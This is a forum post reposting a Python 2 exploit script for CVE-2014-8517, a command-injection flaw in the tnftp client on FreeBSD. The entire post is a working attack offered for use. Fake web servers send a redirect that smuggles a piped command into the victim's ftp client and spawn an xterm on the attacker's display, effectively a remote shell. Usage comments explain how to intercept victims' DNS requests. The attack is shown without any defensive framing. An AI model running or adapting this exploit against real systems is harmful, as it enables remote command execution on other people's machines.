Aerosol Posted December 15, 2014 Report Posted December 15, 2014 #!/usr/bin/env python2## Exploit Title: [tnftp BSD exploit]# Date: [11/29/2014]# Exploit Author: [dash]# Vendor Homepage: [www.freebsd.org]# Version: [FreeBSD 8/9/10]# Tested on: [FreeBSD 9.3]# CVE : [CVE-2014-8517]# tnftp exploit (CVE-2014-8517)tested against freebsd 9.3# https://www.freebsd.org/security/advisories/FreeBSD-SA-14:26.ftp.asc## 29 Nov 2014 by dash@hack4.org## usage: # # redirect the vulnerable ftp client requests for http to your machine## client will do something like: # ftp http://ftp.freebsd.org/data.txt## you will intercept the dns request and redirect victim to your fake webserver ip## attacker: start on 192.168.2.1 Xnest: Xnest -ac :1 # probably do also xhost+victimip## attacker: python CVE-2014-8517.py 192.168.1.1 81 192.168.1.1# # sadly you cannot put a slash behind the | also www-encoded is not working# plus problems with extra pipes# this renders a lot of usefull commands useless# so xterm -display it was ## *dirty* *dirdy* *dyrdy* *shell* !#import osimport sysimport timeimport socketdef usage(): print "CVE-2014-8517 tnftp exploit" print "by dash@hack4.org in 29 Nov 2014" print print "%s <redirect ip> <redirect port> <reverse xterm ip>"% (sys.argv[0]) print "%s 192.168.1.1 81 192.168.2.1"% (sys.argv[0])#bind a fake webserver on 0.0.0.0 port 80def webserveRedirect(redirect): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0",80)) s.listen(3) h, c = s.accept() #wait for request #print h.recv(1024) #send 302 print "[+] Sending redirect :>" h.send(redirect) s.close() return 0#bind a fake webserver on port %rportdef deliverUgga(owned): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0",rport)) s.listen(3) h, c = s.accept()# print h.recv(1024) print "[+] Deliver some content (shell is spwaned now)" h.send(owned) s.close() return 0owned="""HTTP/1.1 200 FoundDate: Fri, 29 Nov 2014 1:00:03 GMTServer: ApacheVary: Accept-EncodingContent-Length: 5Connection: closeContent-Type: text/html; charset=iso-8859-1ugga ugga"""if(os.getuid())!=0: print "[-] Sorry, you need root to bind port 80!" sys.exit(1)if len(sys.argv)<3: usage() sys.exit(1)rip = sys.argv[1]rport = int(sys.argv[2])revip = sys.argv[3]print "[+] Starting tnftp BSD client side exploit (CVE-2014-8517)"print "[+] Dont forget to run Xnest -ac :1"# ok, lets use xterm -displaycmd = "xterm -display %s:1" % (revip)cmd = cmd.replace(" ","%20")print "[+] Payload: [%s]" % cmdredirect = "HTTP/1.1 302\r\n"\ "Content-Type: text/html\r\n"\ "Connection: keep-alive\r\n"\ "Location: http://%s:%d/cgi-bin/|%s\r\n"\ "\r\n\r\n" % (rip,rport,cmd)#child process owned data deliveryuggapid = os.fork()if uggapid == 0: uggapid = os.getpid() deliverUgga(owned)else:#child proces for webserver redirect webpid = os.fork() if webpid == 0: webpid = os.getpid() webserveRedirect(redirect)#childs, come home!try: os.waitpid(webpid,0)except: passtry: os.waitpid(uggapid,0)except: pass#oh wait :>time.sleep(5)Source Quote